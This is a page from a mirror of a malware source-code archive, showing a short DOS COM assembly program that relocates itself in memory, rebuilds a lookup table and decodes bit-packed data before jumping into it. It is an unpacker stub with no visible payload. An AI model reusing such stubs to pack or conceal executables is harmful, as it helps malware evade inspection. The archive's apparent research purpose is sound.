mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
106 lines
2.1 KiB
NASM
106 lines
2.1 KiB
NASM
code segment
|
||
assume cs:code, ds:code
|
||
org 100h
|
||
|
||
asc2 equ asc + 128
|
||
|
||
prog:
|
||
|
||
mov ax,cs
|
||
add ax,1000h
|
||
mov es,ax
|
||
mov si,0100h
|
||
mov di,si
|
||
mov cx,5000h
|
||
rep movsb
|
||
mov word ptr [next+2],es
|
||
jmp dword ptr [next]
|
||
|
||
next db 1dh,1,0,0
|
||
|
||
part2:
|
||
push ds
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
|
||
mov di,offset asc + 128
|
||
sub bx,bx
|
||
k10: mov [bx][di],bl
|
||
inc bl
|
||
jnz k10
|
||
mov si,offset asc
|
||
k20: mov bl,[si]
|
||
mov byte ptr [bx][di],0
|
||
inc si
|
||
cmp si,di
|
||
jne k20
|
||
dec di
|
||
mov cx,128
|
||
k30: inc di
|
||
cmp byte ptr [di],0
|
||
je k30
|
||
mov al,[di]
|
||
mov [si],al
|
||
inc si
|
||
loop k30
|
||
|
||
mov bx,50ffh
|
||
mov di,bx
|
||
mov cl,0
|
||
l10: mov ah,[di]
|
||
mov al,[di-1]
|
||
mov si,ax
|
||
sub ax,ax
|
||
mov dl,6
|
||
shl si,cl
|
||
mov ch,cl
|
||
mov cl,12
|
||
shl si,1
|
||
jnc l20
|
||
mov al,64
|
||
dec cx
|
||
dec cx
|
||
inc dx
|
||
inc dx
|
||
shl si,1
|
||
jnc l30
|
||
shl ax,1
|
||
dec cx
|
||
inc dx
|
||
jmp short l30
|
||
l20: shl si,1
|
||
jnc l30
|
||
inc dx
|
||
mov al,16
|
||
shl si,1
|
||
jnc l30
|
||
shl ax,1
|
||
dec cx
|
||
inc dx
|
||
l30: shr si,cl
|
||
add si,ax
|
||
mov al,asc[si]
|
||
mov es:[bx],al
|
||
mov cl,dl
|
||
add cl,ch
|
||
l40: cmp cl,8
|
||
jc l50
|
||
sub cl,8
|
||
dec di
|
||
jmp short l40
|
||
l50: dec bx
|
||
cmp bx,00ffh
|
||
jne l10
|
||
|
||
mov [next],0
|
||
mov word ptr [next+2],es
|
||
jmp dword ptr [next]
|
||
|
||
asc db ?
|
||
|
||
last label byte
|
||
code ends
|
||
end prog
|
||
|
||
|